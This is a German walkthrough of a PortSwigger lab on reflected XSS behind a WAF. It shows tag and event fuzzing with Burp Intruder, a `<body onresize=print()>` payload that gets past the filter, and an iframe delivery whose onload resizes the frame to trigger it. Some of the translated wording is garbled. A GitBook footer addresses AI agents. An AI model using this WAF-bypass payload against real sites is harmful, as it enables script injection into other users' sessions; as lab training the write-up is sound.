> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# Reflektiertes XSS im HTML mit blockierten Tags

### Reflektiertes XSS im HTML-Kontext mit den meisten blockierten Tags und Attributen

Dieses Lab enthält eine reflektierte XSS-Schwachstelle in der Suchfunktion, aber eine Application Firewall (WAF) blockiert die gängigsten XSS-Vektoren. / Um das Lab zu lösen, musst du die WAF umgehen und den `print()` Funktion aufruft.

* Klassische Payloads wie `<h1>test</h1>`, `<img` oder `<script` die Antwort lautet: "Tag is not allowed".

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/c31eee06cbcb45753ec1ef89e3f47e593a0585f3" alt=""><figcaption></figcaption></figure>

* Ich habe die Seite mit Burp Suite abgefangen und über Intruder eine Mailing-Aktion gestartet.

<figure><img src="/files/c0a03f5cdbd1c3c55de0b63352a9750c877791ab" alt=""><figcaption></figcaption></figure>

Ich habe die Arten von Ereignisattributen (Event-Handler) kopiert und mehrere davon im Cheatsheet von PortSwigger getestet.

<figure><img src="/files/2c270b885e6a2e6ac3f4dd286abe7531774892c1" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/92190d71ec6cb67a61db13622dbdf00ee06594cb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d10a0ecef8711df5a24c5e130468b68418dd5818" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/813ac74fcefbd09e9ec61731914349b451691866" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/57243ef1da93051c359bae19d30ec3f42ea6ada0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0c191322c6482dbf6b2d2b0f237e2606a1faabe7" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/f7ef6c6f11cc558ec921c79d17b328863f654163" alt=""><figcaption></figcaption></figure>

* Ich habe mehrere Ereignisattribute gefiltert/ausprobiert und mich auf `onresize`.

```javascript
<body onresize=alert(0)>
```

Payload getestet und funktioniert:

* Direkte Injektion: `<body onresize=alert(0)>` — beim Ändern der Größe (Zoomrad) erscheint ein Alert.

<figure><img src="/files/44910468affb05bb9053e40c69b15505fd0571d4" alt=""><figcaption></figcaption></figure>

Endziel: Aufrufen `print()` statt `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/022b12b7b699fd4993a7558ba2e486230cf3a11e" alt=""><figcaption></figcaption></figure>

An das Opfer gesendete Exploit-URL:

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

Auslieferung über iframe und automatischer Auslöser:

* Um den `onresize` das Event im Frame zu laden, wird die Breite des Frames von seiner `onload` Attribut:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/9e604d8d19d67237ad7ce67f83e99818a802df25" alt=""><figcaption></figcaption></figure>

und Version mit Größenanpassung beim Laden:

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/d8dc22a37c198b55bf9da39faf794f5872af220c" alt=""><figcaption></figcaption></figure>

Zusammenfassung: WAF-Umgehung durch Einschleusen eines zulässigen Ereignisattributs (`onresize`) das `print()`, dann Auslieferung per iframe mit `onload` das die Größe ändert, um auszulösen `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
